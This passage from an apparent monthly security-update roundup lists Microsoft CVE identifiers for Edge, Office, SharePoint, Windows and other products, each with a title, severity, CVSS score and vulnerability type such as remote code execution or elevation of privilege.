GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  